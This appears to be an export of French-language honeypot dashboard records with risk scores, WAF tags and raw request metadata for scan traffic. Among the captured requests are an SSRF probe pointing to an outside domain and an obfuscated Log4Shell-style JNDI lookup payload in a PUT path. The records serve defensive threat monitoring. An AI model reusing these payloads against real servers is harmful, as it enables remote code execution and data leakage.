"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true,
"behavior_alert_count": 1,
"behavior_priority": 72
}
30/07/2026 18:45:50 UTC
TCP
8010 · HTTP
SSRF interne
ssrf internal · via HTTP:8010 · (tentative d'exploit)
Élevée
Moyen · 53
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8010
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
72%
Corrélation +18
Risque capteur
Moyen
· 53
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8010
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8010 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "06620d336956b497242651828880a8f801ab3f2b",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 216,
"payload_entropy": 5.3834655387445896,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8010,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3.3,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 53,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "90946aaa18a71dbdb041e6f5de99cd262d4d0f2d",
"event_fingerprint": "9355c37cfd1654ec493b724c9c7954bfdb6efe18",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.72,
"classification_confidence": 0.72,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "c0a902e1aa29075998cd01d3596488bd",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8010,
"service": "http",
"service_name": "http",
"risk_score": 53
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8010\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8010\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8010\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8010\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8010\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "a068fc3bf8292f5fe482d25614c597c191ea5c2a",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8010,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8010\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"attack_vector": "ssrf internal \u00b7 via HTTP:8010 \u00b7 (tentative d'exploit)",
"target_port_label": "8010 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 72 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 72,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 53,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8010,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8010,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8010 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8010\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"target_port_label": "8010 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 72 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8010"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"cpanel-ssl",
"http"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 23,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:44:17 UTC
TCP
7005 · HTTP
SSRF interne
ssrf internal · via HTTP:7005 · (tentative d'exploit) · → /http%3A%2F%2Fw00te8b527c1d.com
Élevée
Élevé · 66
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
GET /http%3A%2F%2Fw00te8b527c1d.com UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
25
Recommandation
Investiguer
Tags
950326:rce-0
950404:ssrf-3
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/http%3A%2F%2Fw00te8b527c1d.com
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
7005
Chemin / cible
/http%3A%2F%2Fw00te8b527c1d.com
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
72%
Corrélation +18
Risque capteur
Élevé
· 66
Confiance : Confiance 54 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET /http%3A%2F%2Fw00te8b527c1d.com HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
ssrf-3
nosqli-3
Payload (extrait)
GET /http%3A%2F%2Fw00te8b527c1d.com HTTP/1.1
Host: 62.3.50.33:7005
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Requête brute (extrait)
GET /http%3A%2F%2Fw00te8b527c1d.com HTTP/1.1 Host: 62.3.50.33:7005 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": "com",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "d00fa2bfc8544182906dbf6bd8b8736513cb80e8",
"http_target_hash": "355a640a1127bedaf9ba5b47245be79b4b8816cf",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 215,
"payload_entropy": 5.430049881883246,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 7005,
"risk_waf": 100,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.5,
"risk_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 66,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "86140754472e64cd69b357857a4c1cbe97ae1016",
"event_fingerprint": "556be79d2017b8f20d8b4b085095ad5f2f8b9451",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.72,
"classification_confidence": 0.72,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 66,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "ffc5ad151dae119d52b7240806ba767e",
"path_pattern_hash": "171eee81760289d880760c80160359e6"
},
"target_context": {
"dst_port": 7005,
"service": "http",
"service_name": "http",
"risk_score": 66
},
"payload_preview": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: 62.3.50.33:7005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac ",
"method": "GET",
"path": "\/http%3A%2F%2Fw00te8b527c1d.com",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950404:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"request_sample": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: 62.3.50.33:7005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: 62.3.50.33:7005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"evidence": {
"method": "GET",
"path": "\/http%3A%2F%2Fw00te8b527c1d.com",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950404:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"request_sample": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: 62.3.50.33:7005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: 62.3.50.33:7005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "1c713bb63ca5d90f3ad93b926a9f9ff5d6bb184b",
"protocol_details": {
"http_method": "GET",
"http_path": "\/http%3A%2F%2Fw00te8b527c1d.com",
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 7005,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: 62.3.50.33:7005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"attack_vector": "ssrf internal \u00b7 via HTTP:7005 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/http%3A%2F%2Fw00te8b527c1d.com",
"target_port_label": "7005 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 66\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 72 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 72,
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 66,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 66,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7005,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/http%3A%2F%2Fw00te8b527c1d.com",
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 7005,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:7005 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/http%3A%2F%2Fw00te8b527c1d.com",
"evidence_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: 62.3.50.33:7005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"target_port_label": "7005 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 72 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7005"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"cpanel-ssl",
"http"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 14,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950404:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:41:09 UTC
TCP
2083 · HTTP
Sonde port 2083/TCP
port 2083 tcp · via HTTP:2083 · (sonde / probe) · → /${${g:2jy:rw:-j}${n5e:kfl:-n}${s9:6:1:-d}${pzo…
Élevée
Moyen · 45
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
PUT /${${g:2jy:rw:-j}${n5e:kfl:-n}${s9:6:1:-d}${pzo:7b5k:-i}${ol:2zf:-:}${jwgp:k6h:-l}${5er:k14:odf:-d}…
Émulateur
HTTP
WAF
13
Recommandation
Surveiller
Tags
950324:rce-0
950468:nosqli-3
http_dangerous_method
http_no_ua
Cible HTTP
PUT
/${${g:2jy:rw:-j}${n5e:kfl:-n}${s9:6:1:-d}${pzo:7b5k:-i}${ol:2zf:-:}${jwgp:k6h:-l}${5er:k14:odf:-d}${1:bp:-a}${862:qrgl:-p}${6a:21:sxk:-:}${d:rg7:-/}${ga4:k08:j:-/}${7kcd:al2c:-P}${ol:vkr3:9ye:-A}${nko:d:xfyv:-l}${6:2l:nt5j:-0}${kbjx:-c}${cilb:--}${${3i8x:k:-s}${xd9:zr:0w7u:-y}${imds:p:-s}${k4:sp9:l:-:}${m:7:-j}${kz0:-a}${0:-v}${cx:fp80:ga:-a}${x:u:2z:-.}${e:xj:-v}${bp:j:-e}${xdnk:5p:fy4u:-r}${wm:7d:bn2l:-s}${87u1:dfj2:-i}${j:kw:u:-o}${56f:dh:r6:-n}}${5a:-.}${laeh:li1:-e}${a:ca8:-a}${f:l4pj:-5}${f:n4f:-5}${
TLS SNI
—
Capteur
paris-1
Méthode
PUT
Port
2083
Chemin / cible
/${${g:2jy:rw:-j}${n5e:kfl:-n}${s9:6:1:-d}${pzo:7b5k:-i}${ol:2zf:-:}${jwgp:k6h:-l}${5er:k14:odf:-d}${1:bp:-a}${862:qrgl:-p}${6a:21:sxk:-:}${d:rg7:-/}${ga4:k08:…
Preuve honeypot — Sonde port 2083/TCP
Connexion détectée sur le port 2083 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_2083_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
68%
Corrélation +18
Risque capteur
Moyen
· 45
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 2 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
PUT /${${g:2jy:rw:-j}${n5e:kfl:-n}${s9:6:1:-d}${pzo:7b5k:-i}${ol:2zf:-:}${jwgp:k6h:-l}${5er:k14:odf:-d}${1:bp:-a}${862:qrgl:-p}${6a:21:sxk:-:}${d:rg7:-/}${ga4:k08:j:-/}${7kcd:al2c:-P}${ol:vkr3:9ye:-A}${nko:d:xfyv:-l}${6:2l:nt5j:-0}${kbjx:-c}${cilb:--}${${3i8x:k:-s}${xd9:zr:0w7u:-y}${imds:p:-s}${k4:sp9:l:-:}${m:7:-j}${kz0:-a}${0:-v}${cx:fp80:ga:-a}${x:u:2z:-.}${e:xj:-v}${bp:j:-e}${xdnk:5p:fy4u:-r}${wm:7d:bn2l:-s}${87u1:dfj2:-i}${j:kw:u:-o}${56f:dh:r6:-n}}${5a:-.}${laeh:li1:-e}${a:ca8:-a}${f:l4pj:-5}${f:n4f:-
User-Agent
—
Règles WAF
rce-0
nosqli-3
Payload (extrait)
PUT /${${g:2jy:rw:-j}${n5e:kfl:-n}${s9:6:1:-d}${pzo:7b5k:-i}${ol:2zf:-:}${jwgp:k6h:-l}${5er:k14:odf:-d}${1:bp:-a}${862:qrgl:-p}$
Requête brute (extrait)
PUT /${${g:2jy:rw:-j}${n5e:kfl:-n}${s9:6:1:-d}${pzo:7b5k:-i}${ol:2zf:-:}${jwgp:k6h:-l}${5er:k14:odf:-d}${1:bp:-a}${862:qrgl:-p}${6a:21:sxk:-:}${d:rg7:-/}${ga4:k08:j:-/}${7kcd:al2c:-P}${ol:vkr3:9ye:-A}${nko:d:xfyv:-l}${6:2l:nt5j:-0}${kbjx:-c}${cilb:--}${${3
Meta JSON brut
{
"protocol_emulated": true,
